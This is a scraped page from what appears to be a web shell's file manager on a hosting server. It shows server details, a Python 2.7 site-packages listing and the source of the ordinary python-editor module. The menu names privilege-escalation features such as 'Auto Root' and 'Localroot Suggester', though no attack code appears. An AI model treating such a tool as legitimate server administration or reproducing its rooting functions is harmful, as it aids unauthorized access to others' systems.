Linux ams-business-8.hostwindsdns.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
LiteSpeed
Server IP : 192.236.177.161 & Your IP : 216.73.216.50
Domains :
Cant Read [ /etc/named.conf ]
User : ajzdfbpz
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
python27 /
lib /
python2.7 /
site-packages /
Delete
Unzip
Name
Size
Permission
Date
Action
Babel-1.3-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:52
Beaker-1.5.4-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
Jinja2-2.7.2-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
Mako-0.7.3-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
Paste-1.7.5.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
Tempita-0.5.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:50
_dummy_thread
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
_markupbase
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
_thread
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
alembic
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
alembic-0.8.3-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
argparse-1.2.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:57
babel
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
beaker
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
builtins
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
certifi
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
certifi-2018.4.16-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
chardet
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
chardet-3.0.4-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
clcommon
[ DIR ]
drwxr-xr-x
2020-12-20 03:19
contextlib2-0.5.4-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
copyreg
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
dateutil
[ DIR ]
drwxr-xr-x
2024-02-12 23:57
docopt-0.6.2-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
future
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
future-0.17.0-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
html
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
http
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
idna
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
idna-2.5-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
jinja2
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
jsonschema
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
jsonschema-2.6.0-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
libfuturize
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
libpasteurize
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
lvestats
[ DIR ]
drwxr-xr-x
2020-12-20 03:19
mako
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
nose
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
nose-1.3.4-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
past
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
paste
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
pkg_resources
[ DIR ]
drwxr-xr-x
2024-02-13 00:08
python_dateutil-1.4.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:57
python_editor-0.4-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:53
pytz
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
queue
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
raven
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
raven-6.3.0-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
repoze
[ DIR ]
drwxr-xr-x
2024-02-12 23:52
repoze.lru-0.6-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:52
reprlib
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
requests
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
requests-2.19.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
schema-0.3.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
setuptools
[ DIR ]
drwxr-xr-x
2024-02-13 00:08
setuptools-36.3.0.post20231113.dist-info
[ DIR ]
drwxr-xr-x
2024-02-13 00:08
socketserver
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
svgwrite
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
svgwrite-1.1.5-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
tempita
[ DIR ]
drwxr-xr-x
2024-02-12 23:58
tkinter
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
urllib3
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
urllib3-1.23-py2.7.egg-info
[ DIR ]
drwxr-xr-x
2024-02-12 23:51
winreg
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
xmlrpc
[ DIR ]
drwxr-xr-x
2024-02-12 23:56
Paste-1.7.5.1-py2.7-nspkg.pth
302
B
-rw-r--r--
2019-10-22 06:09
PySocks-1.5.7-py2.7.egg-info
322
B
-rw-r--r--
2019-10-18 13:33
argparse.py
85.73
KB
-rw-r--r--
2011-03-31 21:43
argparse.pyc
66.17
KB
-rw-r--r--
2019-10-18 13:58
contextlib2.py
14.48
KB
-rw-r--r--
2016-07-31 03:42
contextlib2.pyc
15.63
KB
-rw-r--r--
2019-10-18 16:38
contextlib2.pyo
15.63
KB
-rw-r--r--
2019-10-18 16:38
docopt.py
19.48
KB
-rw-r--r--
2014-06-16 11:14
docopt.pyc
24.09
KB
-rw-r--r--
2019-10-21 17:03
docopt.pyo
23.87
KB
-rw-r--r--
2019-10-21 17:03
easy_install.py
126
B
-rw-r--r--
2023-11-13 21:14
easy_install.pyc
397
B
-rw-r--r--
2023-11-13 21:14
editor.py
2.49
KB
-rwxr-xr-x
2015-08-26 07:39
editor.pyc
3.49
KB
-rw-r--r--
2019-10-22 03:27
lprettytable.py
23.29
KB
-rw-r--r--
2019-10-18 09:35
lprettytable.pyc
18.11
KB
-rw-r--r--
2019-10-18 09:35
lprettytable.pyo
17.98
KB
-rw-r--r--
2019-10-18 09:35
pyparsing-1.5.6-py2.7.egg-info
670
B
-rw-r--r--
2019-10-18 10:04
pyparsing.py
151.79
KB
-rw-r--r--
2019-10-18 10:04
pyparsing.pyc
149.93
KB
-rw-r--r--
2019-10-18 10:04
pyparsing.pyo
149.93
KB
-rw-r--r--
2019-10-18 10:04
pytz-2017.2-py2.7.egg-info
24.25
KB
-rw-r--r--
2019-10-21 23:42
repoze.lru-0.6-py2.7-nspkg.pth
305
B
-rw-r--r--
2019-10-18 16:44
schema.py
6.06
KB
-rw-r--r--
2014-04-28 20:11
schema.pyc
8.33
KB
-rw-r--r--
2019-10-18 13:59
schema.pyo
8.25
KB
-rw-r--r--
2019-10-18 13:59
six-1.12.0-py2.7.egg-info
2.12
KB
-rw-r--r--
2019-10-18 10:46
six.py
31.69
KB
-rw-r--r--
2018-12-10 00:59
six.pyc
32.72
KB
-rw-r--r--
2019-10-18 10:46
six.pyo
32.72
KB
-rw-r--r--
2019-10-18 10:46
socks.py
29.25
KB
-rw-r--r--
2016-05-21 21:54
socks.pyc
25.07
KB
-rw-r--r--
2019-10-18 13:33
sockshandler.py
2.84
KB
-rw-r--r--
2016-05-21 21:54
sockshandler.pyc
4.63
KB
-rw-r--r--
2019-10-18 13:33
typing-3.5.3.0-py2.7.egg-info
1.45
KB
-rw-r--r--
2019-10-18 15:43
typing.py
63.37
KB
-rw-r--r--
2017-01-01 02:57
typing.pyc
77.21
KB
-rw-r--r--
2019-10-18 15:43
typing.pyo
76.57
KB
-rw-r--r--
2019-10-18 15:43
Save
Rename
#!/usr/bin/env python """Tools for invoking editors programmatically.""" from __future__ import print_function import locale import os.path import subprocess import tempfile from distutils.spawn import find_executable __all__ = [ 'edit', 'get_editor', 'EditorError', ] __version__ = '0.4' class EditorError(RuntimeError): pass def get_default_editors(): # TODO: Make platform-specific return [ 'vim', 'emacs', 'nano', ] def get_editor_args(editor): if editor in ['vim', 'gvim']: return '-f -o' elif editor == 'emacs': return '-nw' elif editor == 'gedit': return '-w --new-window' elif editor == 'nano': return '-R' else: return '' def get_platform_editor_var(): # TODO: Make platform specific return "$EDITOR" def get_editor(): # Get the editor from the environment. Prefer VISUAL to EDITOR editor = os.environ.get('VISUAL') or os.environ.get('EDITOR') if editor: return editor # None found in the environment. Fallback to platform-specific defaults. for ed in get_default_editors(): path = find_executable(ed) if path is not None: return path raise EditorError("Unable to find a viable editor on this system." "Please consider setting your %s variable" % get_platform_editor_var()) def edit(filename=None, contents=None): editor = get_editor() args = get_editor_args(os.path.basename(editor)) args = [editor] + args.split(' ') if filename is None: tmp = tempfile.NamedTemporaryFile() filename = tmp.name if contents is not None: with open(filename, mode='wb') as f: f.write(contents) args += [filename] proc = subprocess.Popen(args, close_fds=True) proc.communicate() with open(filename, mode='rb') as f: return f.read() def _get_editor(ns): print(get_editor()) def _edit(ns): contents = ns.contents if contents is not None: contents = contents.encode(locale.getpreferredencoding()) print(edit(filename=ns.path, contents=contents)) if __name__ == '__main__': import argparse ap = argparse.ArgumentParser() sp = ap.add_subparsers() cmd = sp.add_parser('get-editor') cmd.set_defaults(cmd=_get_editor) cmd = sp.add_parser('edit') cmd.set_defaults(cmd=_edit) cmd.add_argument('path', type=str, nargs='?') cmd.add_argument('--contents', type=str) ns = ap.parse_args() ns.cmd(ns)